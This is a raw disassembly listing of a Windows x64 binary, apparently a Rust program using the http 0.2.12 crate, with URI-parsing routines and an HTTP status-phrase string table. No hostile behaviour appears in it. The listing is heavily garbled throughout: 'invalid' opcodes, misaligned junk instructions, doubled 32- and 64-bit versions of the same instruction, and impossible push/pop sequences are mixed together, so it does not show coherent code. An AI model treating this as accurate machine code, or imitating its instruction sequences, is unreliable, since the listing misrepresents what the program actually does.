mov byte [rcx + 0xc], r11b
mov byte [rcx + 0xd], bpl
mov byte [rcx + 0xe], r12b
mov byte [rcx + 0xf], 0
sldt word [r8 + rcx*4 + 0x41]
adc cl, ch
lodsd eax, dword [rsi]
add eax, dword [rax]
invalid
sldt word [r8 + rcx*4 + 0x41]
adc cl, ch
lodsd eax, dword [rsi]
add eax, dword [rax]
add byte [rdi + rcx - 0x4a], al
movzx edx, byte [rdx + 2]
movzx r10d, byte [r10 + r12]
test r10b, r10b
invalid
movzx r10d, byte [rdx + 2]
movzx edx, byte [rdx + 2]
movzx r10d, byte [r10 + r12]
test r10b, r10b
je case.0x1400315e8.0
invalid
xchg edi, eax
add eax, dword [rax]
invalid
test byte [rdi + 0x44000003], dl
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x28], r10d
cmp r8, 3
jne case.0x14001a5bd.831
add esi, dword [rbp + 0x24]
xor r10d, r10d
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
xor eax, eax
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
jmp 0x140031c4e
movzx r11d, byte [rdx + 3]
movzx r10d, byte [r11 + r12]
test r10b, r10b
test dl, dl
test dl, dl
ror byte [rdi], cl
test byte [rbp + 3], dl
add byte [rax], al
je case.0x1400315e8.0
mov dword [rsp + 0x2c], r10d
mov dword [rsp + 0x2c], edx
cmp r8, 4
jne 0x140031c5b
invalid
clc
add al, 0x75
xor dword [rcx], esi
inc dword [rbp + 0x31]
xor r9d, r9d
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
and al, 0x38
and al, 0x38
add byte [rax], al
add byte [rax], al
xor eax, eax
xor r13d, r13d
xor r15d, r15d
inc dword [rbp + 0x31]
invalid
xor ebp, ebp
xor r12d, r12d
in al, 0x44
mov edx, dword [rsp + 0x2c]
invalid
inc dword [rbp + 0x31]
invalid
in al, 0x44
mov edx, dword [rsp + 0x2c]
invalid
sub al, 0x8b
je 0x140031c75
mov esi, dword [rsp + 0x28]
mov ebx, dword [rsp + 0x24]
jmp case.0x14001a5bd.949
invalid
sub byte [rbx - 0x16dbdba4], cl
and bh, bh
invalid
inc dword [rdi + rcx - 0x4a]
movzx r11d, byte [rdx + 4]
movzx r10d, byte [r11 + r12]
pop rdx
add al, 0x47
movzx edx, byte [rbx + riz]
test r10b, r10b
je case.0x1400315e8.0
add eax, dword [rax]
invalid
ror byte [rdi], cl
test byte [rsi], al
add eax, dword [rax]
add byte [rcx + rcx*4 + 0x54], al
and al, 0x30
mov dword [rsp + 0x30], r10d
cmp r8, 5
cmp eax, 5
clc
add eax, 0x31453375
leave
jne 0x140031cac
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
rol bh, cl
and al, 0x38
add byte [rax], al
add byte [rax], al
cmp byte [rax], al
add byte [rax], al
add byte [rcx], dh
xor eax, eax
xor r13d, r13d
xor eax, eax
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebx, ebx
xor ebp, ebp
xor r12d, r12d
mov r10d, dword [rsp + 0x2c]
invalid
sub al, 0x8b
je case.0x14001a5bd.1035
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
sub byte [rbx - 0x74cfdb84], cl
mov ebx, dword [rsp + 0x24]
pop rsp
and al, 0x24
jmp case.0x14001a5bd.949
sar esi, 1
invalid
movzx r11d, byte [rdx + 5]
movzx ebx, byte [rdx + 5]
movzx r9d, byte [r11 + r12]
movzx ecx, byte [rbx + riz]
and eax, dword [rbp - 0x7c]
leave
test r9b, r9b
je case.0x1400315e8.0
mov dword [rsp + 0x34], r9d
and al, 0x34
cmp r8, 6
jne 0x140031cff
clc
invalid
xor edx, edx
mov dword [rsp + 0x38], 0
cmp byte [rax], al
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], 0xed
in eax, dx
cmp byte [rax], al
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], 0xed
in eax, dx
in eax, dx
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
xor esp, esp
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
and al, 0x34
je case.0x14001a5bd.958
sub byte [rbx + 0x4430247c], cl
mov ecx, dword [rsp + 0x34]
and al, 0x34
and al, 0x34
mov ebx, dword [rsp + 0x24]
jmp case.0x14001a5bd.949
movzx r11d, byte [rdx + 6]
movzx r9d, byte [r11 + r12]
and eax, dword [rbp - 0x7c]
leave
invalid
and eax, dword [rbp - 0x7c]
leave
je case.0x1400315e8.0
add byte [rax], al
mov dword [rsp + 0x3c], r9d
mov qword [rsp + 0x58], rdx
push rsp
and al, 0x58
cmp al, 0x48
mov dword [rsp + 0x58], edx
push rsp
and al, 0x58
push rsp
and al, 0x58
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x48], r8
cmp r8, 7
jne 0x140031d36
mov dword [rsp + 0x38], 0
jmp 0x140031d60
cmp byte [rax], al
add byte [rax], al
add bl, ch
sub cl, byte [rax - 0x75]
mov rcx, qword [rsp + 0x58]
and al, 0x58
movzx ecx, byte [rcx + 7]
movzx edx, byte [rcx + r12]
test dl, dl
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov dh, 0x14
and dword [rdx + rdx*8 + 0x244c8b48], eax
mov r8, qword [rsp + 0x48]
je case.0x1400315e8.0
add al, byte [rax]
add byte [rcx + 0x49382454], cl
mov dword [rsp + 0x38], edx
cmp r8, 8
cmp eax, 8
cmp eax, 8
jne 0x140031d99
xor eax, eax
xor r13d, r13d
in eax, dx
in eax, dx
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r8, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
push rsp
and al, 0x2c
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
and al, 0x24
and al, 0x24
mov edx, dword [rsp + 0x3c]
jmp case.0x14001a5bd.949
invalid
invalid
invalid
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 8]
movzx eax, byte [rcx + r12]
test al, al
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400315e8.0
mov dword [rsp + 0x50], eax
and al, 0x50
cmp r8, 9
jne 0x140031dfe
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
jmp case.0x14001a5bd.949
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 9]
movzx r14d, byte [rcx + r12]
test r14b, r14b
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400315e8.0
cmp r8, 0xa
jne 0x140031e60
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
mov r13d, r14d
jmp case.0x14001a5bd.949
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xa]
movzx eax, byte [rcx + r12]
test al, al
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400315e8.0
mov dword [rsp + 0x54], eax
cmp r8, 0xb
jne 0x140031e91
xor r11d, r11d
xor ebp, ebp
jmp 0x140031ef5
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xb]
movzx r11d, byte [rcx + r12]
test r11b, r11b
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400315e8.0
add byte [rax], al
add byte [rax], al
cmp r8, 0xc
jne 0x140031ece
xor ebp, ebp
jmp 0x140031ef5
call fcn.140010b00
mov ecx, 1
mov rdx, rsi
call fcn.140107fc0
invalid
invalid
or eax, 0x4c8b4800
and al, 0x58
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xc]
movzx ebp, byte [rcx + r12]
test bpl, bpl
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400315e8.0
cmp r8, 0xd
jne 0x140031f2d
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
mov r13d, r14d
mov r15d, dword [rsp + 0x54]
jmp case.0x14001a5bd.949
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xd]
movzx r12d, byte [rcx + r12]
test r12b, r12b
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
xor al, 0x8b
pop rsp
and al, 0x24
xor al, 0x8b
pop rsp
and al, 0x24
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
mov r13d, r14d
mov r15d, dword [rsp + 0x54]
jne case.0x14001a5bd.949
mov byte [rcx], 0xb
add dword [rbx], ecx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
sbb byte [rax - 0x73], cl
adc eax, 0xf730a
mov r8d, 0xd
add byte [rax], al
add byte [rax], al
jmp rax
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xf72f7
mov r8d, 0x13
jmp rax
adc al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
jmp 0x140032012
lea rax, [0x140129998]
jmp 0x140032012
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
invalid
invalid
sbb byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov r8d, 8
mov rdx, rax
add rsp, 0x28
jmp r9
lea eax, [0x140129a10]
mov edx, 0x28
call fcn.140108350
invalid
invalid
add ah, cl
invalid
invalid
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
mov rdi, rdx
xlatb
mov rsi, rcx
cmp byte [rcx], 0
je case.0x14002c02b.358
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [rsp + 0x28], rax
lea rax, [0x1400322f0]
add eax, 0x272
add eax, 0x272
mov qword [rsp + 0x30], rax
lea rax, [0x1401298b0]
lea eax, [0x1401298b0]
lea eax, [0x1401298b0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
add byte [rax - 0x73], cl
and al, 0x28
add byte [rax - 0x73], cl
and al, 0x28
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
call fcn.140013bb0
dec dword [rcx - 0x7bfe4f3f]
leave
dec dword [rcx - 0x7bfe4f3f]
leave
sal dword [rax + 0xfc98401], 0x85
invalid
jne 0x1400322bc
cmp qword [rsi + 0x20], 0
je case.0x14002c02b.356
jle 0x1400320f6
add byte [rsi + rbp*2 + 0x48], dh
lea eax, [rsi + 0x10]
lea rax, [rsi + 0x10]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
cmp byte [rax - 0x73], cl
and al, 0x38
mov qword [rsp + 0x28], rax
lea rax, case.0x14002c05d.380
mov qword [rsp + 0x30], rax
and al, 0x30
lea rax, [0x140172b18]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x28]
and al, 0x28
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
and al, 0x28
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov rcx, qword [rdi + 0x20]
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
mov rdx, qword [rdi + 0x28]
invalid
invalid
invalid
mov rdx, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
and al, 0x48
and al, 0x48
call fcn.140013bb0
mov ecx, eax
mov al, 1
test cl, cl
dec dword [rcx - 0x7bfe4f3f]
leave
jne 0x1400322bc
mov rdx, qword [rsi + 0x40]
test rdx, rdx
push rsi
test rdx, rdx
jne 0x140032159
cmp byte [rsi], 0
je 0x1400322cb
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
movzx ecx, word [rsi + 0x50]
movzx r9d, word [rsi + 0x50]
movzx ecx, word [rsi + 0x50]
mov rcx, qword [rsi + 0x38]
cmp r9, 0xffff
cmp ecx, 0xffff
cmp byte [rcx - 0x7f], r9b
stc
invalid
cmp ecx, 0xffff
add byte [rax], al
add byte [rsi + rbp + 0x4d], dh
test ecx, ecx
je 0x140032199
test r9, r9
je 0x140032185
cmp rdx, r9
jbe 0x140032193
invalid
invalid
cmp byte [rcx + r9], 0xbf
jle case.0x14002e81e.364
mov ss, word [rdi + 1]
add byte [rax], al
or dword [rdi + 0x1578e0f], edi
mov ss, word [rdi + 1]
add dword [rax], eax
add byte [rcx + rcx*4 - 0x36], cl
invalid
add byte [rax], al
mov rdx, r9
retf 0x14eb
jmp 0x140032199
lea rcx, [0x140172678]
in al, dx
add al, 0x14
adc al, 0
mov eax, 1
adc al, 0
mov eax, 1
add byte [rax], al
jmp 0x1400321b2
jne case.0x14002e81e.364
test dword [rsi], edi
add dword [rax], eax
invalid
add dword ds:[rax], eax
add byte [rax], al
add byte [rax - 0x7d], cl
cmp rdx, 1
mov rax, rdx
cli
add dword [rax - 0x77], ecx
ror byte [rax - 0x7d], 1
invalid
invalid
adc rax, 0
rol byte [rax], 1
test rdx, rdx
lea rdx, [0x140172678]
adc eax, 0x1404ca
adc eax, 0x1404ca
adc al, 0
cmove rcx, rdx
cmove ecx, edx
retf 0x8948
mov qword [rsp + 0x28], rcx
sub byte [rax - 0x77], cl
and al, 0x30
invalid
mov qword [rsp + 0x30], rax
xor byte [rbp + rcx*4 + 0x74], cl
and al, 0x28
lea r14, [rsp + 0x28]
je 0x1400321e4
sub byte [rcx + rcx*4 + 0x74], cl
and al, 0x38
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x38], esi
je case.0x140029f45.431
cmp byte [rbp + rcx*4 + 0x3d], cl
lea r15, [0x14004e490]
cmp eax, 0x1c2c3
ret
add dword [rax], eax
mov qword [rsp + 0x40], r15
jl 0x1400321f5
and al, 0x40
lea rax, [0x140172b18]
lea rax, [0x140172b18]
lea eax, [0x140172b18]
invalid
or dword [rax + rax], edx
add byte [rax - 0x77], cl
and al, 0x48
and al, 0x48
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
and al, 0x50
push rax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x68], 0
and al, 0x68
and al, 0x68
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x64], cl
and al, 0x38
lea r12, [rsp + 0x38]
and al, 0x38
mov qword [rsp + 0x58], r12
mov dword [rsp + 0x58], esp
and al, 0x58
mov qword [rsp + 0x60], 1
and al, 0x60
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov rbx, qword [rdi + 0x20]
mov ebx, dword [rdi + 0x20]
mov rdi, qword [rdi + 0x28]
jg case.0x14002aa01.319
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
lea r8, [rsp + 0x48]
lea eax, [rsp + 0x48]
mov rcx, rbx
mov ecx, ebx
mov rdx, rdi
mov edx, edi
call fcn.140013bb0
mov ecx, eax
xchg ebp, eax
sbb esi, edi
invalid
dec dword [rcx - 0x7bfe4f3f]
mov al, 1
test cl, cl
invalid
mov al, 1
test cl, cl
add dword [rcx + rcx*8 + 0x95850f], eax
add byte [rax], al
invalid
jne 0x1400322bc
test dword [rbp + 0x44000000], edx
movzx eax, word [rsi + 0x50]
push rax
xchg ebp, eax
add byte [rax], al
add byte [rdi + rcx - 0x49], al
push rax
push rax
movzx r8d, word [rsi + 0x50]
push rax
cmp r8, 0xffff
clc
invalid
inc dword [rax]
add byte [rsi + rbp + 0x49], dh
je 0x140032263
inc r8
add byte [rax], al
je 0x140032263
inc r8
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
mov edx, dword [rsi + 0x40]
cmp byte [rax - 0x75], cl
mov edx, dword [rsi + 0x40]
push rsi
mov rax, rdx
mov rax, rdx
mov rax, rdx
sub rax, r8
sub eax, eax
sal byte [rsi + 0x1f], 0x42
cmp byte [rcx + rax], 0xbf
cmp al, 1
invalid
jbe case.0x140028ada.306
cmp byte [rcx + r8], 0xbf
cmp al, 1
mov edi, 0x8d481a7f
jg 0x140032269
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
jg 0x140032269
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
mov dh, byte [rdi + rcx]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and byte [rcx - 0x77], cl
shr eax, 1
mov r9, rdx
call fcn.1401087e0
jge case.0x140029f45.437
invalid
invalid
jge case.0x140029f45.437
or eax, 0xebc03100
push rbp
add byte [rcx], dh
xor eax, eax
jmp 0x1400322bc
shr bl, 0x55
jne 0x14003224f
add rcx, r8
ror dword [rax - 0x77], 0x4c
mov qword [rsp + 0x38], rcx
and al, 0x38
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
and al, 0x40
mov qword [rsp + 0x28], r12
and al, 0x28
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
and al, 0x30
xor byte [rax - 0x73], cl
add eax, 0xf7649
invalid
invalid
lea rax, [0x1401298d0]
lea eax, [0x1401298d0]
str word [rax - 0x77]
add byte [rax - 0x77], cl
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
add byte [rax], al
add byte [rax - 0x39], cl
invalid
and al, 0x68
and al, 0x68
add byte [rax], al
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
and al, 0x68
push 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x74], cl
je case.0x140029f45.437
pop rax
mov qword [rsp + 0x58], r14
je case.0x140029f45.437
pop rax
mov qword [rsp + 0x60], 1
and al, 0x60
and al, 0x60
add dword [rax], eax
add byte [rax], al
lea r8, [rsp + 0x48]
lea eax, [rsp + 0x48]
mov rcx, rbx
mov rcx, rbx
mov ecx, ebx
mov rdx, rdi
mov edx, edi
call fcn.140013bb0
invalid
nop
add rsp, 0x78
pop rbx
invalid
js case.0x14002aa01.422
pop rdi
pop rsi
pop r12
pop r14
pop rsi
pop r15
ret
mov ecx, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx], dh
shr cl, 0xdb
xor eax, eax
jmp 0x1400321b2
invalid
invalid
invalid
invalid
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
add eax, 0xf73ea
invalid
str word [rax - 0x77]
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
and al, 0x20
xor r8d, r8d
xor eax, eax
call fcn.1401087e0
int3
or eax, 0xcccccc00
int3
int3
sub esp, 0x28
mov rax, qword [rcx]
add dword [rdi], ecx
mov dh, 8
sub byte [rax - 0x75], cl
add dword [rdi], ecx
mov dh, 8
cmp ecx, 1
je 0x140032312
invalid
stc
add dword [rbx + rdx - 0x7d], esi
invalid
invalid
adc eax, dword [rbx + 0x457502f9]
cmp ecx, 2
jne case.0x14002c05d.287
stc
add dh, byte [rbp + 0x45]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
or byte [rbx + rcx*4 + 0x41], cl
adc bl, ch
jmp 0x140032333
xor r8d, r8d
cmp byte [rax + 1], 0
add byte [rcx + 0xf], al
mov eax, dword [rcx + 0x10]
jmp 0x140032333
xor r8d, r8d
cmp byte [rax + 1], 0
add byte [rcx + 0xf], al
xchg esp, eax
invalid
add byte [rcx + 0xf], al
sete al
xchg esp, eax
ror byte [rax - 0x73], 0xd
invalid
invalid
invalid
out dx, eax
call qword [rbx]
invalid
lea rcx, [0x140172313]
adc eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0x13ffec
in al, dx
call qword [rbx]
invalid
lea rax, [0x140172317]
lea eax, [0x140172317]
in al, dx
call qword [rbx]
add byte [rax + 0xf], cl
ror dword [rcx - 0x7d], 0xf0
invalid
invalid
invalid
cmove rax, rcx
xor r8, 5
add eax, 0x204a8b48
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
add rsp, 0x28
jmp r9
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
enter 0x1192, 0
adc dword [rax], eax
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs
lea eax, [0x140129768]
add byte [rdx + 0x28], bh
mov edx, 0x28
add al, ch
out dx, eax
pop rdi
or eax, 0xcccccc00
int3
int3
call fcn.140108350
int3
int3
int3
int3
mov rcx, qword [rcx]
mov rax, qword [rcx + 8]
or byte [r11 + rcx*4 + 0x41], cl
adc byte [rax - 0x75], cl
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
invalid
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
jmp r9
jmp rcx
int3
int3
lea eax, [rdx - 0x3a]
invalid
xor eax, eax
cmp r8b, 0xf7
jb case.0x140028ada.207
movzx r8d, byte [rcx + 1]
add r8b, 0xd0
cmp r8b, 9
invalid
mov dh, 0x41
add dword [rcx - 0x80], eax
rcl al, 0x41
cmp al, 9
invalid
or dword [rdi + 0x27], esi
ja case.0x140028ada.207
movzx ecx, byte [rcx + 2]
add cl, 0xd0
cmp cl, 9
ja case.0x140028ada.207
add al, byte [r8 - 0x67f2f3f]
or dword [rdi + 0x1b], esi
movzx eax, r8b
movzx eax, al
add dl, 0xd0
movzx edx, dl
imul edx, edx, 0x64
shl byte [rcx + rax - 0x40], cl
shl byte [rcx + rax - 0x40], cl
rol byte [rbp + rcx*4 + 4], 0x80
lea r8d, [rax + rax*4]
movzx eax, cl
add eax, r8d
rol byte [rcx], 0xd0
rol byte [rcx], 0xd0
ret
rol bl, 0xcc
add byte [rax], al
lea rdx, [0x14017666c]
lea edx, [0x14017666c]
jno case.0x14002c05d.183
adc al, 0
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
lea rax, [0x140141532]
mov edx, 8
or byte [rax], al
add byte [rax], al
invalid
or byte [rax], al
add byte [rax], al
invalid
add bl, al
lea rax, [0x14012a07a]
jl 0x140032426
add byte [rdx + 0xf], bh
ret
jl 0x140032426
add byte [rdx + 0xf], bh
add bl, al
ret
lea rax, [0x14012a0e7]
mov edx, 0x14
adc al, 0
add byte [rax], al
ret
lea rax, [0x14012a0a7]
mov edx, 0xf
add bl, al
add bl, al
lea rax, [0x140129fa9]
mov edx, 0xc
add byte [rax], al
add bl, al
push 0x7b
invalid
add byte [rax], al
add bl, al
lea rax, [0x14012a065]
mov edx, 0x15
add bl, al
add bl, al
lea rax, [0x140129f97]
mov edx, 0x12
ret
invalid
add byte [rdx + 0xb], bh
ret
lea rax, [0x140129e2d]
mov edx, 7
ret
lea rax, [0x140129e1d]
mov edx, 0x10
ret
lea rax, [0x140129dce]
mov edx, 0x1d
ret
lea rax, [0x140129deb]
mov edx, 0xa
ret
lea rax, [0x140129e02]
mov edx, 0xf
ret
lea rax, [0x140129df5]
mov edx, 0xd
ret
lea rax, [0x140129db3]
mov edx, 0xa
ret
lea rax, [0x140129dbd]
mov edx, 2
ret
lea rax, [0x140129dc6]
mov edx, 8
ret
lea rax, str.Switching_ProtocolsProcessingOKCreatedAcceptedNon_Authoritative_InformationNo_ContentReset_ContentPartial_ContentMulti_StatusAlready_ReportedIM_UsedMultiple_ChoicesMoved_PermanentlyFoundSee_OtherNot_ModifiedUse_ProxyTemporary_RedirectPermanent_RedirectBad_RequestUnauthorizedPayment_RequiredForbiddenNot_FoundMethod_Not_AllowedNot_AcceptableProxy_Authentication_RequiredRequest_TimeoutConflictGoneLength_RequiredPrecondition_FailedPayload_Too_LargeURI_Too_LongUnsupported_Media_TypeRange_Not_SatisfiableExpectation_FailedIm_a_teapotMisdirected_RequestUnprocessable_EntityLockedFailed_DependencyUpgrade_RequiredPrecondition_RequiredToo_Many_RequestsRequest_Header_Fields_Too_LargeUnavailable_For_Legal_ReasonsInternal_Server_ErrorNot_ImplementedBad_GatewayService_UnavailableGateway_TimeoutHTTP_Version_Not_SupportedVariant_Also_NegotiatesInsufficient_StorageLoop_DetectedNot_ExtendedNetwork_Authentication_Required
mov edx, 0x13
ret
pop rsp
jp 0x1400325fa
add byte [rdx + 0x1d], bh
ret
adc dword [rax], eax
add byte [rax], al
ret
lea rax, [0x140129dbf]
mov edx, 7
ret
lea rax, [0x140129e11]
mov edx, 0xc
or al, 0
add byte [rax], al
or al, 0
add byte [rax], al
ret
invalid
add eax, 0xf7897
mov edx, 0xc
ret
ret
sub esp, 0x40
mov rsi, rdx
movzx eax, byte [rdx]
mov rbx, qword [rdx + 0x10]
cmp al, 3
jne 0x14003356d
mov rdx, qword [rsi + 0x30]
test rbx, rbx
je 0x140033593
test rdx, rdx
je 0x140033593
mov word [rcx], 0x503
jmp 0x14003360e
test rbx, rbx
je 0x1400335d5
mov rdx, qword [rsi + 0x30]
test rdx, rdx
je 0x140033644
xor byte [rax - 0x7b], cl
ror byte [rdi], cl
test ch, al
add byte [rax], al
add byte [rbx + rcx*4 + 0x46], cl
add dword [rbx + rcx*4 + 0x4e], ecx
or byte [rcx + rcx*4 + 0x4c], cl
and al, 0x37
mov r8, qword [rsi + 1]
mov r9, qword [rsi + 8]
mov qword [rsp + 0x37], r9
mov qword [rsp + 0x30], r8
jmp 0x14003359e
xor eax, eax
test rbx, rbx
je 0x140033652
mov r8, qword [rsi + 0x18]
mov eax, dword [rsi + 0x18]
movups xmm0, xmmword [rsi + 0x20]
test rdx, rdx
je 0x14003366b
mov r10, qword [rsi + 0x38]
movups xmm1, xmmword [rsi + 0x40]
movzx r9d, word [rsi + 0x50]
push rax
push rax
movzx r11d, word [rsi + 0x56]
mov word [rsp + 0x2c], r11w
mov r11d, dword [rsi + 0x52]
mov dword [rsp + 0x28], r11d
jmp 0x140033680
mov dl, 6
mov byte [rcx + 1], dl
mov byte [rcx], 3
cmp al, 2
jb 0x140033609
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x14003361d
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rbx + 0x10]
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x1400336c1
mov rax, qword [rax + 0x10]
lea rcx, [rsi + 0x48]
mov rdx, qword [rsi + 0x38]
mov r8, qword [rsi + 0x40]
add rsp, 0x40
pop rbx
pop rdi
pop rsi
jmp rax
mov dl, 7
mov byte [rcx + 1], dl
mov byte [rcx], 3
cmp al, 2
jae 0x1400335e1
jmp 0x140033609
xorps xmm0, xmm0
mov r8d, 1
lea rbx, [0x1401290f0]
test rdx, rdx
jne 0x1400335af
xorps xmm1, xmm1
mov r9w, 0xffff
mov r10d, 1
lea rdx, [0x1401290f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x30]
mov r11, qword [rsp + 0x37]
mov qword [rcx + 1], rax
